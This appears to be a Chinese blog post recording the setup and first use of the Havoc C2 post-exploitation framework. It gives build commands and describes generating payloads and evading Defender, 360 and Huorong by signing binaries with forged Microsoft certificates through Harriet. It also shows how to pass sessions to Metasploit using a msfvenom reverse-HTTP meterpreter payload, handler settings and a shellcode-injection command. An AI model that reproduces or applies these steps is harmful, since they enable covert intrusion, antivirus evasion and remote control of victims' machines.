Havoc C2d的初次使用
Havoc C2
简介
Havoc是一款现代化的、可扩展的后渗透命令控制框架
当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改
以下的配置部分只做简单记录,具体细节还是自己去 Wiki指南 查看, 记得给作者一个⭐
- 传送门:项目地址
安装
依赖
更新kali之后设置依赖项
apt update -y && apt upgrade -y
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
客户端
进入client里面,编译运行就可以了
cd Havoc/Client
proxychains make
./Havoc
编译前一定还是要配置好上面的依赖,如果缺了就会像这样,这种报错就是缺什么补什么,但像这里缺的spdlog,解决的办法就是下这个包🙃apt-get install libspdlog-dev
编译好会生成Havoc, 赋权运行就会出现连接界面
服务端
他的服务端是go实现的,接着配置依赖。最好设代理,反正我扶墙是下不下来
export GOPROXY=https://goproxy.io
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
如果是新环境就快速配置一下go吧
wget -c https://studygolang.com/dl/golang/go1.19.5.linux-amd64.tar.gz
tar -zxvf go1.19.5.linux-amd64.tar.gz -C /usr/local
vim ~/.profile
export PATH=$PATH:usr/local/go/bin
source ~/.profile
go version
编译之后可以先修改配置文件再运行 ,不改的话就按照他原始的账密连接:5spider:password1234
cd Teamserver
./Install.sh
make
vim profiles/havoc.yaotl
开启服务端
./teamserver server --profile ./profiles/havoc.yaotl -v --debug
连接上了就可以开始探索了
基本使用
监听
新建监听器View -> Listeners -> Add,他这里还多了设置header的地方,其他基本和cs差不多。这里用的ip后续可以利用cloudfare进行隐匿
生成&上线
操作和cs很相似,菜单栏上Attack -> Payload,payload种类目前只有exe和dll
当前的waitforsingleobjectex
是无混淆的。其他选项如ekko
使用 Win32 API进行混淆 。config也是可以按照Wiki的解释进行修改
生成之后感觉他裸奔过defender没什么希望就没有马上去上线(作者过了三个多月都没更新),先去试了下面的免杀框架。回来试这个的时候很😲。defender,360,火绒动静均无感😲。但是不知道是不是这个的原因这个时候桌面上很多系统应用都打不开了,重启之后发现我kde没了???😕
免杀
尝试了Wiki中提到的这个免杀框架 harriet ,他使用SigThief使用伪造的Microsoft证书对二进制文件进行签名
cd Home-Grown-Red-Team/Harriet
bash setup.sh
bash Harriet.sh
提前用havoc生成bin格式的shell,在这里设置好路径和名称,就会在当前目录下生成
没有添加信任静态,静态360和火绒都可以过
动态同样无感
原始的exe为27/71,混淆后的查杀结果如下:
派生会话
模块功能上havoc还不够成熟,体系也还有待完善。转移会话进行利用就很有必要了,这点也在havoc里实现了:
派生至msf
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.130.5 LPORT=9999 -f raw > /home/kali/Desktop/msftest.bin
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
set lhost 192.168.130.5
set lport 9999
在havoc上执行,其中6940为当前的pid
shellcode inject x64 6940 /home/kali/Desktop/msftest.bin
派生至cs
cs同样操作,只需要生成并指定bin格式payload的路径即可
其他的一些后渗透命令还有很多就不一个个试了,练靶场的时候会再详细记录